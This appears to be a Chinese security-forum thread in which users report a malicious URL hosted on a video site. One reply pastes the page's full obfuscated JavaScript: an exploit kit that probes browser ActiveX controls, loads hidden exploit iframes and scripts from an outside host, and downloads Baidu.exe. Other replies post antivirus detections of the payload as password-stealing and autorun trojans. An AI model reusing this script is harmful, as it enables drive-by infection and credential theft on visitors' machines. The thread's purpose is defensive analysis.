可疑网址一个，红伞嗷嗷叫

qwerasdf123

hxxp://www.ackii.net/m1.htm?91915
挂在一个视频网站上

mox

<script>window.onerror=function(){return true;}</script>
<script>
window.defaultStatus="完成";
eval("if(document.cookie.indexOf('OK')==-1){

try{var eeeeeeee;

var dsb="Kaspersky";

var ado=(document.createElement("object"));

var Rising="classid";

var KV2008="Adodb.Stream";

var Kaspersky="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36";

ado.setAttribute(Rising,Kaspersky);

var as=ado.createobject(KV2008,"")}

catch(eeeeeeee){};

finally{

var expires=new Date();

var dsb="Kaspersky";

expires.setTime(expires.getTime()+3*60*60*1000);

document.cookie='OK=Yes;path=/;expires='+expires.toGMTString();

if(eeeeeeee!="[object Error]"){

document.write("<script src=http://user3.1a2b3c0.net/ms06014.js></script>")}

else{

try{var ffffffff;

var ourgame=new ActiveXObject("GLCHAT.GLChatCtrl.1");}

catch(ffffffff){};

finally{if(ffffffff!="[object Error]"){

document.write('<iframe style=display:none src="http://user3.1a2b3c0.net/GLWORLD.html"></iframe>')}}

try{var gggggggg;

var storm=new ActiveXObject("MPS.StormPlayer");}

catch(gggggggg){};

finally{if(gggggggg!="[object Error]"){

document.write('<iframe style=display:none src="http://user3.1a2b3c0.net/StormII.html"></iframe>')}}

try{var hhhhhhhh;

var Real=new ActiveXObject("IERPCtl.IERPCtl.1");}

catch(hhhhhhhh){};

finally{if(hhhhhhhh!="[object Error]"){

document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http://user3.1a2b3c0.net/real.js></script>')}}

try{var iiiiiiii;

var thunder=new ActiveXObject("DPClient.Vod");}

catch(iiiiiiii){};

finally{if(iiiiiiii!="[object Error]"){

document.write('<iframe style=display:none src="http://user3.1a2b3c0.net/Thunder.html"></iframe>')}}

try{var kkkkkkkk;

var Baidu=new ActiveXObject("BaiduBar.Tool");}

catch(kkkkkkkk){};

finally{if(kkkkkkkk!="[object Error]"){

Baidu["Dload"+"DS"]("http://user3.1a2b3c0.net/Baidu.cab", "Baidu.exe", 0)}}

if(ffffffff=="[object Error]" && gggggggg=="[object Error]" && hhhhhhhh=="[object Error]" && iiiiiiii=="[object Error]")

{

location.replace("about:blank");}

}}}")
</script>

啊弥陀佛

微点砍掉

Joker

C:\Documents and Settings\Administrator\桌面\Baidu.cab>>Baidu.exe        TrojanPSW.Delf.aqk.mivv        木马        还未处理

qigang

老毒物，不更新！

hanq

可疑链接已被安全规则过滤

我用theworld的黑名单规则就过滤掉了

mofunzone

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\Baidu.cab'
C:\TDDOWNLOAD\
  Baidu.cab
    [0] Archive type: CAB (Microsoft)
      --> Baidu.exe
        [1] Archive type: Runtime Packed
        --> Object
            [DETECTION] Is the Trojan horse TR/Autorun.BK
            [WARNING]   Infected files in archives cannot be repaired!
      [NOTE]      The file was deleted!

tanlimo

斩